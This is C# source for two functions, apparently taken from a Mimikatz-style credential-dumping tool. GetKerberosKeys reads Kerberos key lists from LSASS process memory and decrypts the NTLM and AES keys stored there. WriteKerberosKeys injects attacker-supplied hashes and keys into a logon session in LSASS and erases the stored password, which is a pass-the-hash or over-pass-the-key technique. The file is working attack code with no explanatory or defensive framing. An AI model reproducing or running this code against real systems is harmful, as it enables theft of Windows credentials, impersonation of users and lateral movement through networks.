public static void WriteKerberosKeys(ref IntPtr hLsass, KerberosLogonItem krbrLogonSession, OSVersionHelper oshelper, byte[] iv, byte[] aeskey, byte[] deskey, ref SEKURLSA_PTH_DATA pthData) { Type kerberossessiontype = oshelper.KerberosLogonSessionType; Type kerberoshshtype = oshelper.KerberosHashType; byte[] krbrLogonSessionBites = krbrLogonSession.LogonSessionBytes; byte[] encNtlmHashBytes = null; byte[] encAes128Bytes = null; byte[] encAes256Bytes = null; IntPtr pKeyList = new IntPtr(BitConverter.ToInt64(krbrLogonSessionBites, oshelper.KerberosLogonSessionKeyListOffset)); if (pKeyList == IntPtr.Zero) { return; } LUID luid = Utility.ReadStruct <LUID>(Utility.GetBytes(krbrLogonSessionBites, oshelper.KerberosSessionLocallyUniqueIdentifierOffset, Marshal.SizeOf(typeof(LUID)))); if (pthData.LogonId.HighPart != luid.HighPart || pthData.LogonId.LowPart != luid.LowPart) { return; } byte[] keylistBytes = Utility.ReadFromLsass(ref hLsass, pKeyList, Marshal.SizeOf(typeof(KIWI_KERBEROS_KEYS_LIST_6))); if (pthData.NtlmHash != null) { encNtlmHashBytes = Crypto.BCrypt.EncryptCredentials(pthData.NtlmHash, iv, aeskey, deskey); } if (pthData.Aes128Key != null) { encAes128Bytes = Crypto.BCrypt.EncryptCredentials(pthData.Aes128Key, iv, aeskey, deskey); } if (pthData.Aes256Key != null) { encAes256Bytes = Crypto.BCrypt.EncryptCredentials(pthData.Aes256Key, iv, aeskey, deskey); } int items = BitConverter.ToInt32(keylistBytes, Utility.FieldOffset <KIWI_KERBEROS_KEYS_LIST_6>("cbItem")); int structsize = Marshal.SizeOf(kerberoshshtype); int readsize = items * structsize; byte[] hashpassBytes = Utility.ReadFromLsass(ref hLsass, IntPtr.Add(pKeyList, Marshal.SizeOf(typeof(KIWI_KERBEROS_KEYS_LIST_6))), readsize); pthData.isReplaceOk = true; for (int i = 0; (i < items) && pthData.isReplaceOk; i++) { byte[] bytesToWrite = null; int currentindex = (i * structsize) + oshelper.KerberosHashGenericOffset; byte[] entryBytes = Utility.GetBytes(hashpassBytes, currentindex, Marshal.SizeOf(typeof(KERB_HASHPASSWORD_GENERIC))); KERB_HASHPASSWORD_GENERIC entry = Utility.ReadStruct <KERB_HASHPASSWORD_GENERIC>(entryBytes); string keyentry = KerberosTicketEtype((int)entry.Type); UNICODE_STRING checksum = new UNICODE_STRING { Length = (ushort)entry.Size, MaximumLength = (ushort)entry.Size, Buffer = entry.Checksump }; if (encNtlmHashBytes != null && ((entry.Type != KERB_ETYPE_AES128_CTS_HMAC_SHA1_96) && (entry.Type != KERB_ETYPE_AES256_CTS_HMAC_SHA1_96)) && ((int)entry.Size == LM_NTLM_HASH_LENGTH)) { bytesToWrite = encNtlmHashBytes; } else if (encAes128Bytes != null && (entry.Type == KERB_ETYPE_AES128_CTS_HMAC_SHA1_96) && ((int)entry.Size == AES_128_KEY_LENGTH)) { bytesToWrite = encAes128Bytes; } else if (encAes256Bytes != null && (entry.Type == KERB_ETYPE_AES256_CTS_HMAC_SHA1_96) && ((int)entry.Size == AES_256_KEY_LENGTH)) { bytesToWrite = encAes256Bytes; } if (bytesToWrite != null) { pthData.isReplaceOk = Utility.WriteToLsass(ref hLsass, checksum.Buffer, bytesToWrite); } } if (pthData.isReplaceOk) { byte[] pasreplace = new byte[oshelper.KerberosPasswordEraseSize]; pthData.isReplaceOk = Utility.WriteToLsass(ref hLsass, IntPtr.Add(krbrLogonSession.LogonSessionAddress, oshelper.KerberosOffsetPasswordErase), pasreplace); } }
public static void GetKerberosKeys(ref IntPtr hLsass, byte[] krbrLogonSession, OSVersionHelper oshelper, byte[] iv, byte[] aeskey, byte[] deskey, List <Logon> logonlist) { Type kerberossessiontype = oshelper.KerberosLogonSessionType; Type kerberoshshtype = oshelper.KerberosHashType; IntPtr pKeyList = new IntPtr(BitConverter.ToInt64(krbrLogonSession, oshelper.KerberosLogonSessionKeyListOffset)); if (pKeyList == IntPtr.Zero) { return; } LUID luid = Utility.ReadStruct <LUID>(Utility.GetBytes(krbrLogonSession, oshelper.KerberosSessionLocallyUniqueIdentifierOffset, Marshal.SizeOf(typeof(LUID)))); byte[] keylistBytes = Utility.ReadFromLsass(ref hLsass, pKeyList, Marshal.SizeOf(typeof(KIWI_KERBEROS_KEYS_LIST_6))); int items = BitConverter.ToInt32(keylistBytes, Utility.FieldOffset <KIWI_KERBEROS_KEYS_LIST_6>("cbItem")); int structsize = Marshal.SizeOf(kerberoshshtype); int readsize = items * structsize; byte[] hashpassBytes = Utility.ReadFromLsass(ref hLsass, IntPtr.Add(pKeyList, Marshal.SizeOf(typeof(KIWI_KERBEROS_KEYS_LIST_6))), readsize); for (int i = 0; i < items; i++) { int currentindex = (i * structsize) + oshelper.KerberosHashGenericOffset; byte[] entryBytes = Utility.GetBytes(hashpassBytes, currentindex, Marshal.SizeOf(typeof(KERB_HASHPASSWORD_GENERIC))); KERB_HASHPASSWORD_GENERIC entry = Utility.ReadStruct <KERB_HASHPASSWORD_GENERIC>(entryBytes); string keyentry = KerberosTicketEtype((int)entry.Type); KerberosKey kkey = new KerberosKey(); kkey.Type = keyentry; UNICODE_STRING checksum = new UNICODE_STRING { Length = (ushort)entry.Size, MaximumLength = (ushort)entry.Size, Buffer = entry.Checksump }; if ((int)entry.Size > 0) { if ((int)entry.Size > Utility.FieldOffset <LSAISO_DATA_BLOB>("data")) { if ((int)entry.Size <= (Utility.FieldOffset <LSAISO_DATA_BLOB>("data") + ("KerberosKey".Length - 1) + AES_256_KEY_LENGTH)) // usual ISO DATA BLOB for Kerberos AES 256 session key { byte[] isoblobBytes = Utility.ReadFromLsass(ref hLsass, checksum.Buffer, Marshal.SizeOf(typeof(LSAISO_DATA_BLOB))); LSAISO_DATA_BLOB isoblob = Utility.ReadStruct <LSAISO_DATA_BLOB>(isoblobBytes); kkey.Key = GenericLsaIsoOutput(isoblob); } else { byte[] encisoblobBytes = Utility.ReadFromLsass(ref hLsass, checksum.Buffer, Marshal.SizeOf(typeof(LSAISO_DATA_BLOB))); ENC_LSAISO_DATA_BLOB encisoblob = Utility.ReadStruct <ENC_LSAISO_DATA_BLOB>(encisoblobBytes); kkey.Key = GenericEncLsaIsoOutput(encisoblob, (int)entry.Size); } } else { byte[] msvPasswordBytes = Utility.ReadFromLsass(ref hLsass, checksum.Buffer, checksum.MaximumLength); byte[] msvDecryptedPasswordBytes = BCrypt.DecryptCredentials(msvPasswordBytes, iv, aeskey, deskey); kkey.Key = Utility.PrintHashBytes(msvDecryptedPasswordBytes); } } else { kkey.Key = "<no size, buffer is incorrect>"; } Logon currentlogon = logonlist.FirstOrDefault(x => x.LogonId.HighPart == luid.HighPart && x.LogonId.LowPart == luid.LowPart); if (currentlogon != null) { if (currentlogon.KerberosKeys == null) { currentlogon.KerberosKeys = new List <KerberosKey>(); } currentlogon.KerberosKeys.Add(kkey); } } }